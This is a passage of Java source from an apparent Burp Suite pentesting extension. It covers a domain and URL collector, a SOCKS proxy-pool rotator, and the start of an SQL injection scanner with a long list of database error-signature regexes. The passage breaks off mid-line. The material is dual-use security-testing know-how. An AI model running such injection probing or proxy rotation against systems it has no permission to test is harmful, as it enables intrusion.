entry.getDomain(), entry.getIp() ); int newId = SimilarDomainResultDao.saveDomainResult(domainResult); if (newId > 0) { entry.setId(newId); SwingUtilities.invokeLater(() -> domainTable.refreshEntry(entry)); CacheManager.cacheProjectDomain(currentProject.getId(), entry.getDomain()); } } catch (Exception e) { Utils.stderr.println("保存域名到数据库失败: " + e.getMessage()); } }); } /** * 处理新发现的URL */ private void processNewUrl(String url) { if (isReloading) { return; } synchronized (this) { // 检查缓存和数据库 if (CacheManager.isProjectUrlCached(currentProject.getId(), url)) { return; } if (SimilarUrlResultDao.isUrlExists(currentProject.getId(), url)) { CacheManager.cacheProjectUrl(currentProject.getId(), url); return; } } // 更新UI和数据库 SwingUtilities.invokeLater(() -> { try { // 添加到表格 URL entry = new URL(url); urlTable.addEntry(entry); // 保存到数据库 ThreadManager.execute(() -> saveUrlToDatabase(url)); } catch (Exception e) { Utils.stderr.println("添加URL条目失败: " + e.getMessage()); } }); } /** * 保存URL到数据库 */ private void saveUrlToDatabase(String url) { try { SimilarUrlResultBean urlResult = new SimilarUrlResultBean( currentProject.getId(), url ); int newId = SimilarUrlResultDao.saveUrlResult(urlResult); if (newId > 0) { CacheManager.cacheProjectUrl(currentProject.getId(), url); } } catch (Exception e) { Utils.stderr.println("保存URL到数据库失败: " + e.getMessage()); } } /** * 项目选择处理 */ private void handleProjectSelection(Project project) { if (isSelectingProject || project == null) { return; } isSelectingProject = true; try { ThreadManager.execute(() -> { try { switchToNewProject(project); } catch (Exception e) { handleProjectSwitchError(e); } finally { isSelectingProject = false; } }); } catch (Exception e) { isSelectingProject = false; throw e; } } /** * 切换到新项目 */ private void switchToNewProject(Project project) throws SQLException { // 清理当前项目 cleanupCurrentProject(); // 设置新项目 currentProject = project; updateProjectUI(project); // 加载项目配置和数据 List domainConfigs = SimilarDomainConfigDao.getDomainConfigs(project.getId()); project.setMainDomains(domainConfigs); // 检查域名配置 if (domainConfigs.isEmpty()) { showDomainConfigWarning(); } // 加载项目数据 loadAllProjectData(project.getId()); } /** * 加载项目所有数据 * @param projectId 项目ID */ private void loadAllProjectData(int projectId) throws SQLException { // 清空现有数据和缓存 SwingUtilities.invokeLater(() -> { domainTable.clearData(); urlTable.clearData(); }); CacheManager.clearProjectCache(projectId); // 并行获取域名和URL数据 CompletableFuture> domainsFuture = CompletableFuture.supplyAsync(() -> { try { return SimilarDomainResultDao.getDomainResults(projectId); } catch (SQLException e) { throw new CompletionException(e); } }); CompletableFuture> urlsFuture = CompletableFuture.supplyAsync(() -> SimilarUrlResultDao.getUrlResults(projectId)); // 等待所有数据加载完成 CompletableFuture.allOf(domainsFuture, urlsFuture).thenRun(() -> { try { // 处理域名数据 List domainResults = domainsFuture.get(); Map uniqueDomains = new HashMap<>(); if (domainResults != null) { // 对域名数据去重 for (SimilarDomainResultBean result : domainResults) { if (result != null) { String domainKey = result.getDomain().toLowerCase(); if (!uniqueDomains.containsKey(domainKey) || uniqueDomains.get(domainKey).getId() > result.getId()) { uniqueDomains.put(domainKey, result); } } } } // 处理URL数据 List urlResults = urlsFuture.get(); Map uniqueUrls = new HashMap<>(); if (urlResults != null) { // 对URL数据去重 for (SimilarUrlResultBean result : urlResults) { if (result != null) { String urlKey = result.getUrl(); if (!uniqueUrls.containsKey(urlKey) || uniqueUrls.get(urlKey).getId() > result.getId()) { uniqueUrls.put(urlKey, result); } } } } // 批量更新UI SwingUtilities.invokeLater(() -> { // 更新域名表格 domainTable.startBatchUpdate(); try { for (SimilarDomainResultBean result : uniqueDomains.values()) { domainTable.addEntry(new Domain(result)); CacheManager.cacheProjectDomain(projectId, result.getDomain()); } } finally { domainTable.endBatchUpdate(); } // 更新URL表格 urlTable.startBatchUpdate(); try { for (SimilarUrlResultBean result : uniqueUrls.values()) { urlTable.addEntry(new URL(result.getUrl())); CacheManager.cacheProjectUrl(projectId, result.getUrl()); } } finally { urlTable.endBatchUpdate(); } }); } catch (Exception e) { Utils.stderr.println("加载项目数据失败: " + e.getMessage()); } }).join(); } /** * 更新项目UI */ private void updateProjectUI(Project project) { SwingUtilities.invokeLater(() -> { currentProjectLabel.setText("当前项目: " + project.getName()); scanButton.setEnabled(true); domainConfigButton.setEnabled(true); }); } /** * 显示域名配置警告 */ private void showDomainConfigWarning() { SwingUtilities.invokeLater(() -> { JOptionPane.showMessageDialog(mainPanel, "该项目还未配置主域名,请先配置主域名!", "提示", JOptionPane.INFORMATION_MESSAGE); }); } /** * 处理项目切换错误 */ private void handleProjectSwitchError(Exception e) { Utils.stderr.println("切换项目失败: " + e.getMessage()); SwingUtilities.invokeLater(() -> { JOptionPane.showMessageDialog(mainPanel, "加载项目失败: " + e.getMessage(), "错误", JOptionPane.ERROR_MESSAGE); }); } // 信号量用于限制DNS解析并发数 private final Semaphore dnsResolveSemaphore = new Semaphore(10); // 黑名单后缀集合 private Set blackListSuffixes; /** * 初始化数据 */ private void setupData() { // 设置按钮初始状态 scanButton.setEnabled(false); domainConfigButton.setEnabled(false); // 初始化黑名单 initializeBlackList(); // 设置定时清理任务 setupCleanupTask(); } /** * 初始化黑名单后缀 */ private void initializeBlackList() { blackListSuffixes = new HashSet<>(Arrays.asList( // 图片文件 ".jpg", ".jpeg", ".png", ".gif", ".ico", ".bmp", ".webp", ".svg", // 样式和脚本文件 ".css", ".js", ".jsx", ".ts", ".tsx", // 字体文件 ".woff", ".woff2", ".ttf", ".eot", ".otf", // 媒体文件 ".mp4", ".mp3", ".wav", ".avi", ".mov", ".wmv", ".flv", // 文档文件 ".pdf", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", // 压缩文件 ".zip", ".rar", ".7z", ".tar", ".gz", // 其他二进制文件 ".exe", ".dll", ".so", ".dmg", ".iso", // 地图文件 ".map" )); } /** * 设置定时清理任务 */ private void setupCleanupTask() { Timer cleanupTimer = new Timer(60 * 60 * 1000, e -> { // 每小时执行一次 ThreadManager.execute(() -> { try { // 清理过期的IP缓存 CacheManager.cleanExpiredIPCache(); // 同步当前项目数据 if (currentProject != null) { syncProjectData(); } } catch (Exception ex) { Utils.stderr.println("执行清理任务失败: " + ex.getMessage()); } }); }); cleanupTimer.start(); } /** * 同步项目数据 */ private void syncProjectData() { try { List latestConfigs = SimilarDomainConfigDao.getDomainConfigs(currentProject.getId()); currentProject.setMainDomains(latestConfigs); } catch (Exception e) { Utils.stderr.println("同步项目数据失败: " + e.getMessage()); } } /** * 提取域名 */ private Set extractDomains(String content) { Set domains = new HashSet<>(); try { // 域名匹配正则表达式 Pattern pattern = Pattern.compile( "(?i)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\.)+[a-z0-9][a-z0-9-]{0,61}[a-z0-9]" ); Matcher matcher = pattern.matcher(content); // 使用StringBuilder优化字符串操作 StringBuilder domainBuilder = new StringBuilder(); while (matcher.find()) { domainBuilder.setLength(0); domainBuilder.append(matcher.group().toLowerCase()); String domain = domainBuilder.toString(); if (!isBlacklistedDomain(domain)) { domains.add(domain); } } } catch (Exception e) { Utils.stderr.println("提取域名失败: " + e.getMessage()); } return domains; } /** * 提取URL */ private Set extractUrls(String content) { Set urls = new HashSet<>(); try { // URL匹配正则表达式 Pattern pattern = Pattern.compile( "(?i)https?://(?:(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\.)+[a-z0-9][a-z0-9-]{0,61}[a-z0-9])" + "(?::[0-9]{1,5})?(?:/[^\\s\"'<>\\[\\]{}\\\\^`|]*)?" ); Matcher matcher = pattern.matcher(content); while (matcher.find()) { String url = matcher.group(); if (isValidUrl(url)) { urls.add(url); } } } catch (Exception e) { callbacks.printError("提取URL失败: " + e.getMessage()); } return urls; } /** * 检查域名是否在黑名单中 */ private boolean isBlacklistedDomain(String domain) { return blackListSuffixes.stream().anyMatch(domain::endsWith); } /** * 验证URL是否有效 */ private boolean isValidUrl(String url) { try { // 检查URL格式 new java.net.URL(url); // 检查是否包含黑名单后缀 return !blackListSuffixes.stream() .anyMatch(suffix -> url.toLowerCase().endsWith(suffix)); } catch (Exception e) { return false; } } /** * 检查URL是否需要过滤 */ private boolean shouldFilter(String url) { return blackListSuffixes.stream() .anyMatch(suffix -> url.toLowerCase().endsWith(suffix)); } /** * 获取响应内容类型 */ private String getResponseContentType(IResponseInfo responseInfo) { for (String header : responseInfo.getHeaders()) { if (header.toLowerCase().startsWith("content-type:")) { return header.substring("content-type:".length()).trim().toLowerCase(); } } return ""; } /** * 检查内容类型是否可处理 */ private boolean isProcessableContentType(String contentType) { return contentType.contains("text/") || contentType.contains("application/json") || contentType.contains("application/xml") || contentType.contains("application/javascript") || contentType.contains("application/x-javascript") || contentType.contains("application/ecmascript") || contentType.contains("application/x-httpd-php"); } /** * 获取带缓存的IP地址 */ private String getIPWithCache(String domain) { // 检查缓存 String cachedIP = CacheManager.getCachedIP(domain); if (cachedIP != null) { return cachedIP; } // 使用信号量限制并发DNS查询 try { return dnsResolveSemaphore.tryAcquire(5, TimeUnit.SECONDS) ? performDNSResolve(domain) : "解析超时"; } catch (InterruptedException e) { Thread.currentThread().interrupt(); return "解析中断"; } } /** * 执行DNS解析 */ private String performDNSResolve(String domain) { try { InetAddress[] addresses = InetAddress.getAllByName(domain); if (addresses.length > 0) { StringBuilder ips = new StringBuilder(); for (InetAddress addr : addresses) { if (ips.length() > 0) { ips.append(", "); } ips.append(addr.getHostAddress()); } String result = ips.toString(); CacheManager.cacheIP(domain, result); return result; } return "无解析结果"; } catch (Exception e) { return "解析失败: " + e.getMessage(); } finally { dnsResolveSemaphore.release(); } } /** * 检查域名是否相关 */ private boolean isDomainRelevant(String domain) { if (currentProject == null || currentProject.getMainDomains() == null) { return false; } String lowerDomain = domain.toLowerCase(); return currentProject.getMainDomains().stream() .filter(Objects::nonNull) .map(String::toLowerCase) .anyMatch(lowerDomain::endsWith); } /** * 检查URL是否相关 */ private boolean isUrlRelevant(String url) { try { java.net.URL parsedUrl = new java.net.URL(url); return isDomainRelevant(parsedUrl.getHost()); } catch (Exception e) { return false; } } /** * 清理当前项目 */ private void cleanupCurrentProject() { if (currentProject != null) { // 停止扫描 setScanEnabled(false); // 清理缓存 CacheManager.clearProjectCache(currentProject.getId()); // 清理UI SwingUtilities.invokeLater(() -> { domainTable.clearData(); urlTable.clearData(); }); } } } ================================================ FILE: src/main/java/burp/ui/SocksUI.java ================================================ package burp.ui; import burp.IBurpExtenderCallbacks; import burp.ui.UIHepler.GridBagConstraintsHelper; import burp.utils.I18nUtils; import burp.utils.Utils; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import javax.swing.*; import java.awt.*; import java.awt.event.ActionEvent; import java.io.File; import java.util.ArrayList; import java.util.List; /** * @Author Xm17 * @Date 2024-06-13 22:02 */ public class SocksUI implements UIHandler { private JPanel panel; private JButton saveButton; private JButton nextButton; private JCheckBox enableCheckBox; private Boolean dns_over_socks; private String host; private int port; private Boolean use_proxy; private Boolean use_user_options; private String username; private String password; private JTextPane ipTextField; private JTextPane logTextField; private List proxyConfigs; private int currentIndex = -1; // 新增代理配置类 private static class ProxyConfig { String ip; String port; String username; String password; public ProxyConfig(String ip, String port, String username, String password) { this.ip = ip; this.port = port; this.username = username != null ? username.trim().replaceAll("[\r\n]", "") : ""; this.password = password != null ? password.trim().replaceAll("[\r\n]", "") : ""; } } @Override public void init() { setupUI(); setupData(); } private void setupData() { if (!isConfigFileExist()){ saveSettings(Utils.callbacks); } } private void setupUI() { panel = new JPanel(); panel.setLayout(new GridBagLayout()); saveButton = new JButton(I18nUtils.get("socks.button.save")); panel.add(saveButton,new GridBagConstraintsHelper(0, 0, 1, 1).setInsets(5).setIpad(0, 0).setWeight(0, 0).setAnchor(GridBagConstraints.WEST).setFill(GridBagConstraints.NONE)); nextButton = new JButton(I18nUtils.get("socks.button.next")); panel.add(nextButton,new GridBagConstraintsHelper(1, 0, 1, 1).setInsets(5).setIpad(0, 0).setWeight(0, 0).setAnchor(GridBagConstraints.WEST).setFill(GridBagConstraints.NONE)); enableCheckBox = new JCheckBox(I18nUtils.get("socks.checkbox.enable")); panel.add(enableCheckBox,new GridBagConstraintsHelper(3, 0, 1, 1).setInsets(5).setIpad(0, 0).setWeight(0, 0).setAnchor(GridBagConstraints.WEST).setFill(GridBagConstraints.NONE)); JSplitPane jSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); ipTextField = new JTextPane(); ipTextField.setBorder(BorderFactory.createTitledBorder(I18nUtils.get("socks.border.proxy_pool"))); ipTextField.setEditable(true); logTextField = new JTextPane(); logTextField.setBorder(BorderFactory.createTitledBorder(I18nUtils.get("socks.border.log"))); logTextField.setEditable(false); jSplitPane.setDividerLocation(0.5); jSplitPane.setResizeWeight(0.5); jSplitPane.setLeftComponent(ipTextField); jSplitPane.setRightComponent(logTextField); panel.add(jSplitPane,new GridBagConstraintsHelper(0, 1, 0, 0).setInsets(5).setIpad(0, 0).setWeight(1.0d, 1.0d).setAnchor(GridBagConstraints.CENTER).setFill(GridBagConstraints.BOTH)); } // 修改写入代理设置方法 public void writeIpPortSettings(IBurpExtenderCallbacks callbacks, ProxyConfig config, boolean enable) { try{ // 先读取现有配置 String jsonStr = Utils.readString(Utils.SocksConfigFile("socks.json"),"utf-8"); JSONObject jsonObject = JSON.parseObject(jsonStr); boolean dns_over_socks_update = jsonObject.getBoolean("dns_over_socks"); boolean use_user_options_update = jsonObject.getBoolean("use_user_options"); // 创建新的配置对象 JSONObject newConfig = new JSONObject(); newConfig.put("use_proxy", enable); newConfig.put("use_user_options", use_user_options_update); newConfig.put("dns_over_socks", dns_over_socks_update); newConfig.put("host", config.ip); newConfig.put("port", Integer.parseInt(config.port.trim())); newConfig.put("username", config.username); newConfig.put("password", config.password); // 将新配置写入文件 Utils.writeString(newConfig.toJSONString(), Utils.SocksConfigFile("socks.json"), "utf-8"); // 设置DNS over SOCKS String socksDnsOverSocksPrefix = "{\"project_options\":{\"connections\":{\"socks_proxy\":{\"dns_over_socks\":"; String socksDnsOverSocksSuffix = "}}}}"; callbacks.loadConfigFromJson(socksDnsOverSocksPrefix + dns_over_socks_update + socksDnsOverSocksSuffix); // 设置使用用户选项 String socksUseUserOptionsPrefix = "{\"project_options\":{\"connections\":{\"socks_proxy\":{\"use_user_options\":"; String socksUseUserOptionsSuffix = "}}}}"; callbacks.loadConfigFromJson(socksUseUserOptionsPrefix + use_user_options_update + socksUseUserOptionsSuffix); // 设置主机 String socksHostPrefix = "{\"project_options\":{\"connections\":{\"socks_proxy\":{\"host\":\""; String socksHostSuffix = "\"}}}}"; callbacks.loadConfigFromJson(socksHostPrefix + config.ip + socksHostSuffix); // 设置端口 String socksPortPrefix = "{\"project_options\":{\"connections\":{\"socks_proxy\":{\"port\":"; String socksPortSuffix = "}}}}"; callbacks.loadConfigFromJson(socksPortPrefix + Integer.parseInt(config.port.trim()) + socksPortSuffix); // 设置用户名 String socksUsernamePrefix = "{\"project_options\":{\"connections\":{\"socks_proxy\":{\"username\":\""; String socksUsernameSuffix = "\"}}}}"; callbacks.loadConfigFromJson(socksUsernamePrefix + config.username + socksUsernameSuffix); // 设置密码 String socksPasswordPrefix = "{\"project_options\":{\"connections\":{\"socks_proxy\":{\"password\":\""; String socksPasswordSuffix = "\"}}}}"; callbacks.loadConfigFromJson(socksPasswordPrefix + config.password + socksPasswordSuffix); // 设置是否启用代理 String socksUseProxyPrefix = "{\"project_options\":{\"connections\":{\"socks_proxy\":{\"use_proxy\":"; String socksUseProxySuffix = "}}}}"; callbacks.loadConfigFromJson(socksUseProxyPrefix + enable + socksUseProxySuffix); // 更新日志 String currentText = logTextField.getText(); String newText = currentText + "Socks Setting Success\n" + "Current ip: " + config.ip + " port: " + config.port; if (!config.username.isEmpty()) { newText += " username: " + config.username; } newText += "\n"; logTextField.setText(newText); }catch (Exception e2){ Utils.stderr.println(e2.getMessage()); } } // 开启或关闭代理 public void isEnableSettings(IBurpExtenderCallbacks callbacks, boolean enable) { try{ String jsonStr = Utils.readString(Utils.SocksConfigFile("socks.json"),"utf-8"); JSONObject jsonObject = JSON.parseObject(jsonStr); // 更新启用状态 jsonObject.put("use_proxy", enable); // 将更新后的配置写回文件 Utils.writeString(jsonObject.toJSONString(), Utils.SocksConfigFile("socks.json"), "utf-8"); ProxyConfig config = new ProxyConfig( jsonObject.getString("host"), String.valueOf(jsonObject.getInteger("port")), jsonObject.getString("username"), jsonObject.getString("password") ); writeIpPortSettings(callbacks, config, enable); }catch (Exception e2){ Utils.stderr.println(e2.getMessage()); } } // 保存配置 public void saveSettings(IBurpExtenderCallbacks callbacks) { JSONObject jsonObject = new JSONObject(); jsonObject.put("use_proxy", false); jsonObject.put("use_user_options", false); jsonObject.put("dns_over_socks", false); jsonObject.put("host", "127.0.0.1"); jsonObject.put("port", 7890); // 注意这里改成了数字类型 jsonObject.put("username", ""); jsonObject.put("password", ""); String sockinfo = jsonObject.toJSONString(); try{ Utils.writeString(sockinfo, Utils.SocksConfigFile("socks.json"), "utf-8"); }catch (Exception e){ Utils.stderr.println(e.getMessage()); } } // 判断配置文件是否存在 public boolean isConfigFileExist() { File file = new File(Utils.WORKDIR + "socks.json"); return file.exists(); } @Override public JPanel getPanel(IBurpExtenderCallbacks callbacks) { // 保存配置 saveButton.addActionListener(new AbstractAction() { public void actionPerformed(ActionEvent evt) { String ipTextFieldText = ipTextField.getText(); // 将所有的\r\n和\r都统一转换为\n ipTextFieldText = ipTextFieldText.replaceAll("\r\n|\r", "\n"); String[] ipTextFieldTextSplit = ipTextFieldText.split("\n"); proxyConfigs = new ArrayList<>(); for (String line : ipTextFieldTextSplit) { // 跳过空行 if (line.trim().isEmpty()) { continue; } String[] parts = line.split(":"); if (parts.length >= 2) { ProxyConfig config; if (parts.length >= 4) { // IP:PORT:USERNAME:PASSWORD 格式 config = new ProxyConfig(parts[0], parts[1], parts[2], parts[3]); } else { // IP:PORT 格式 config = new ProxyConfig(parts[0], parts[1], "", ""); } proxyConfigs.add(config); } } if (proxyConfigs.size() > 0) { JOptionPane.showMessageDialog(null, String.format(I18nUtils.get("socks.message.save_success"), proxyConfigs.size()), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); } else { JOptionPane.showMessageDialog(null, I18nUtils.get("socks.message.invalid_format"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); } } }); // 切换代理 nextButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { if (proxyConfigs == null || proxyConfigs.isEmpty()) { JOptionPane.showMessageDialog(null, I18nUtils.get("socks.message.save_first"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); return; } if (currentIndex >= 0 && currentIndex < proxyConfigs.size()) { proxyConfigs.remove(currentIndex); } if (proxyConfigs.isEmpty()) { JOptionPane.showMessageDialog(null, I18nUtils.get("socks.message.all_used"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); return; } currentIndex = (currentIndex + 1) % proxyConfigs.size(); ProxyConfig currentConfig = proxyConfigs.get(currentIndex); String message; if (!currentConfig.username.isEmpty()) { message = String.format(I18nUtils.get("socks.message.current_proxy_with_user"), currentConfig.ip, currentConfig.port, currentConfig.username); } else { message = String.format(I18nUtils.get("socks.message.current_proxy"), currentConfig.ip, currentConfig.port); } JOptionPane.showMessageDialog(null, message, I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); writeIpPortSettings(callbacks, currentConfig, enableCheckBox.isSelected()); } }); // 启用/禁用代理 enableCheckBox.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { boolean enabled = enableCheckBox.isSelected(); isEnableSettings(callbacks, enabled); String currentText = logTextField.getText(); String newText = currentText + (enabled ? "Socks Enable\n" : "Socks Disable\n"); logTextField.setText(newText); } }); return panel; } @Override public String getTabName() { return "SOCKS Settings"; } } ================================================ FILE: src/main/java/burp/ui/SqlUI.java ================================================ package burp.ui; import burp.*; import burp.bean.SqlBean; import burp.ui.UIHepler.GridBagConstraintsHelper; import burp.utils.*; import javax.swing.*; import javax.swing.table.AbstractTableModel; import javax.swing.table.DefaultTableCellRenderer; import javax.swing.table.TableColumnModel; import java.awt.*; import java.awt.event.ActionEvent; import java.net.MalformedURLException; import java.net.URL; import java.util.List; import java.util.*; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.atomic.AtomicInteger; import java.util.regex.Pattern; import static burp.IParameter.*; import static burp.dao.SqlDao.*; /** * @Author Xm17 * @Date 2024-06-21 15:39 */ public class SqlUI implements UIHandler, IMessageEditorController, IHttpListener { private IHttpRequestResponse currentlyDisplayedItem; // 请求响应 private JPanel panel; // 主面板 private static JTable urltable; // url 表格 private static JTable payloadtable; // payload 表格 private JTabbedPane tabbedPanereq; // 左下的请求 private JTabbedPane tabbedPaneresp; // 左下的响应 private JScrollPane urltablescrollpane; // url 表格滚动 private JScrollPane payloadtablescrollpane; // payload 表格滚动 private JCheckBox passiveScanCheckBox; // 被动扫描选择框 private JCheckBox deleteOriginalValueCheckBox; // 删除原始值选择框 private JCheckBox checkCookieCheckBox; // 检测cookie选择框 private JCheckBox checkHeaderCheckBox; // 检测header选择框 private JCheckBox checkWhiteListCheckBox; // 白名单域名检测选择框 private JCheckBox urlEncodeCheckBox; // 是否对参数进行url编码 private JButton saveWhiteListButton; // 白名单域名保存按钮 private JButton saveHeaderListButton; // 保存header按钮 private JTextArea whiteListTextArea; // 白名单域名输入框列表 private JTextArea headerTextArea; // header检测数据框列表 private JButton refreshTableButton; // 刷新表格按钮 private JButton clearTableButton; // 清空表格按钮 private JTextArea sqlPayloadTextArea; // sqlpayload输入框 private JTextArea sqlErrorKeyTextArea; // sqlerrkey输入框 private JButton saveSqlPayloadButton; // sqlpayload保存按钮 private JButton saveSqlErrorKeyButton; // sqlerrkey保存按钮 private IMessageEditor HRequestTextEditor; // 请求 private IMessageEditor HResponseTextEditor; // 响应 private static final List urldata = new ArrayList<>(); // urldata private static final List payloaddata = new ArrayList<>(); // payload private static final List payloaddata2 = new ArrayList<>(); // payload public AbstractTableModel model = new PayloadModel(); // payload 模型 private static boolean isPassiveScan; // 是否被动扫描 private static boolean isCheckCookie; // 是否检测cookie private static boolean isCheckHeader; // 是否检测header private static boolean isWhiteDomain; // 是否白名单域名 private static boolean isDeleteOrgin; // 是否删除原始值 private static boolean isUrlEncode; // 是否进行URL编码 private static final Set urlHashList = new HashSet<>(); // 存放url的hash值 private static List listErrorKey = new ArrayList<>(); // // 存放错误key private static List sqliPayload = new ArrayList<>(); // 存放sql关键字 private static List domainList = new ArrayList<>(); // 存放域名白名单 private static List headerList = new ArrayList<>(); // 存放header白名单 private static ConcurrentHashMap vul = new ConcurrentHashMap<>();// 防止插入重复 private JCheckBox booleanBlindCheckBox; // 布尔盲注选择框 private static boolean isBooleanBlind; // 是否进行布尔盲注 private static final ConcurrentHashMap> urlPayloadMapping = new ConcurrentHashMap<>(); private static final AtomicInteger urlIdCounter = new AtomicInteger(0); public static void resetAllCaches() { urlHashList.clear(); urlPayloadMapping.clear(); urlIdCounter.set(0); UrlCacheUtil.resetCache("sqli"); } private static final String[] rules = { "the\\s+used\\s+select\\s+statements\\s+have\\s+different\\s+number\\s+of\\s+columns", "An\\s+illegal\\s+character\\s+has\\s+been\\s+found\\s+in\\s+the\\s+statement", "MySQL\\s+server\\s+version\\s+for\\s+the\\s+right\\s+syntax\\s+to\\s+use", "supplied\\s+argument\\s+is\\s+not\\s+a\\s+valid\\s+PostgreSQL\\s+result", "Unclosed\\s+quotation\\s+mark\\s+before\\s+the\\s+character\\s+string", "Unclosed\\s+quotation\\s+mark\\s+after\\s+the\\s+character\\s+string", "Column\\s+count\\s+doesn't\\s+match\\s+value\\s+count\\s+at\\s+row", "Syntax\\s+error\\s+in\\s+string\\s+in\\s+query\\s+expression", "Microsoft\\s+OLE\\s+DB\\s+Provider\\s+for\\s+ODBC\\s+Drivers", "Microsoft\\s+OLE\\s+DB\\s+Provider\\s+for\\s+SQL\\s+Server", "\\[Microsoft\\]\\[ODBC\\s+Microsoft\\s+Access\\s+Driver\\]", "You\\s+have\\s+an\\s+error\\s+in\\s+your\\s+SQL\\s+syntax", "supplied\\s+argument\\s+is\\s+not\\s+a\\s+valid\\s+MySQL", "Data\\s+type\\s+mismatch\\s+in\\s+criteria\\s+expression", "internal\\s+error\\s+\\[IBM\\]\\[CLI\\s+Driver\\]\\[DB2", "Unexpected\\s+end\\s+of\\s+command\\s+in\\s+statement", "\\[Microsoft\\]\\[ODBC\\s+SQL\\s+Server\\s+Driver\\]", "\\[Macromedia\\]\\[SQLServer\\s+JDBC\\s+Driver\\]", "has\\s+occurred\\s+in\\s+the\\s+vicinity\\s+of:", "A\\s+Parser\\s+Error\\s+\\(syntax\\s+error\\)", "Procedure\\s+'[^']+'\\s+requires\\s+parameter", "Microsoft\\s+SQL\\s+Native\\s+Client\\s+error", "Syntax\\s+error\\s+in\\s+query\\s+expression", "System\\.Data\\.SqlClient\\.SqlException", "Dynamic\\s+Page\\s+Generation\\s+Error:", "System\\.Exception: SQL Execution Error", "Microsoft\\s+JET\\s+Database\\s+Engine", "System\\.Data\\.OleDb\\.OleDbException", "Sintaxis\\s+incorrecta\\s+cerca\\s+de", "Table\\s+'[^']+'\\s+doesn't\\s+exist", "java\\.sql\\.SQLSyntaxErrorException", "Column\\s+count\\s+doesn't\\s+match", "your\\s+MySQL\\s+server\\s+version", "\\[SQLServer\\s+JDBC\\s+Driver\\]", "ADODB\\.Field\\s+\\(0x800A0BCD\\)", "com.microsoft\\.sqlserver\\.jdbc", "ODBC\\s+SQL\\s+Server\\s+Driver", "(PLS|ORA)-[0-9][0-9][0-9][0-9]", "PostgreSQL\\s+query\\s+failed:", "on\\s+MySQL\\s+result\\s+index", "valid\\s+PostgreSQL\\s+result", "macromedia\\.jdbc\\.sqlserver", "Access\\s+Database\\s+Engine", "SQLServer\\s+JDBC\\s+Driver", "Incorrect\\s+syntax\\s+near", "java\\.sql\\.SQLException", "java\\.sql\\.SQLException", "MySQLSyntaxErrorException", "Warning:\\s+ibase_", "valid\\s+MySQL\\s+result", "org\\.postgresql\\.jdbc", "com\\.jnetdirect\\.jsql", "Dynamic\\s+SQL\\s+Error", "\\[DM_QUERY_E_SYNTAX\\]", "mysql_fetch_array\\(\\)", "pg_query\\(\\)\\s+\\[:", "pg_exec\\(\\)\\s+\\[:", "com\\.informix\\.jdbc", "DB2\\s+SQL\\s+error:", "DB2\\s+SQL\\s+error", "Microsoft\\s+Access", "\\[CLI\\s+Driver\\]", "\\[SQL\\s+Server\\]", "com\\.mysql\\.jdbc", "Sybase\\s+message:", "\\[MySQL\\]\\[ODBC", "ADODB\\.Recordset", "Unknown\\s+column", "mssql_query\\(\\)", "Sybase\\s+message", "Database\\s+error", "PG::SyntaxError:", "where\\s+clause", "Syntax\\s+error", "Oracle\\s+error", "SQLite\\s+error", "SybSQLException", "\\[SqlException", "odbc_exec\\(\\)", "MySqlException", "INSERT\\s+INTO", "SQL\\s+syntax", "Error\\s+SQL:", "SQL\\s+error", "PSQLException", "SQLSTATE=\\d+", "SELECT .{1,30}FROM ", "UPDATE .{1,30}SET ", "附近有语法错误", "MySqlClient", "ORA-\\d{5}", "引号不完整", "数据库出错", "Parameter '\\w+' not found", "org\\.apache\\.ibatis\\.binding\\.BindingException", "mybatis\\.binding\\.BindingException", "org\\.mybatis\\.spring\\.MyBatisSystemException", "java\\.lang\\.IllegalArgumentException: invalid parameter", "Could not resolve parameter", "There is no getter for property named", "Error evaluating expression", "Error parsing parameter", "Invalid bound statement" }; // sql检测核心方法 public static void Check(IHttpRequestResponse[] requestResponses, boolean isSend) { // 常规初始化流程代码 IHttpRequestResponse baseRequestResponse = requestResponses[0]; // 获取第一个请求 IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); // 获取请求 List reqheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); // 获取请求头 String host = baseRequestResponse.getHttpService().getHost(); // 获取域名 String method = analyzeRequest.getMethod(); // 获取请求方法 URL rdurlURL = analyzeRequest.getUrl(); // 获取请求url String url = analyzeRequest.getUrl().toString(); // 获取请求url List paraLists = analyzeRequest.getParameters(); // 获取参数列表 // 如果method不是get或者post方式直接返回 if (!method.equals("GET") && !method.equals("POST")) { return; } // url 中匹配为静态资源 if (Utils.isUrlBlackListSuffix(url)) { return; } // 判断参数类型,不符合的直接跳过检测 boolean ruleHit = true; // 默认设置为true,表示命中规则 for (IParameter para : paraLists) { if ((para.getType() == PARAM_URL || para.getType() == PARAM_BODY || para.getType() == PARAM_JSON) || isCheckCookie || isCheckHeader) { ruleHit = false; // 如果有 URL、BODY、JSON 参数或者开启了 cookie 或 header 检测,则不命中规则 break; } } if (ruleHit) { return; // 如果命中规则,则直接返回 } // 如果不是手动发送的请求,检测url是否重复及域名是否匹配 if (!isSend) { if (!UrlCacheUtil.checkUrlUnique("sqli", method, rdurlURL, paraLists)) { return; } if (isWhiteDomain) { // 如果未匹配到 直接返回 if (!Utils.isMatchDomainName(host, domainList)) { return; } } } // 将原始流量数据包发送一次,用来做后面的对比 byte[] request = baseRequestResponse.getRequest(); int bodyOffset = analyzeRequest.getBodyOffset(); byte[] body = Arrays.copyOfRange(request, bodyOffset, request.length); byte[] postMessage = Utils.helpers.buildHttpMessage(reqheaders, body); IHttpRequestResponse originalRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), postMessage); byte[] responseBody = originalRequestResponse.getResponse(); IResponseInfo originalReqResponse = null; // 如果有返回,尝试拿到Content-Length int originalLength = 0; if (responseBody != null) { originalReqResponse = Utils.helpers.analyzeResponse(responseBody); List sqlHeaders = 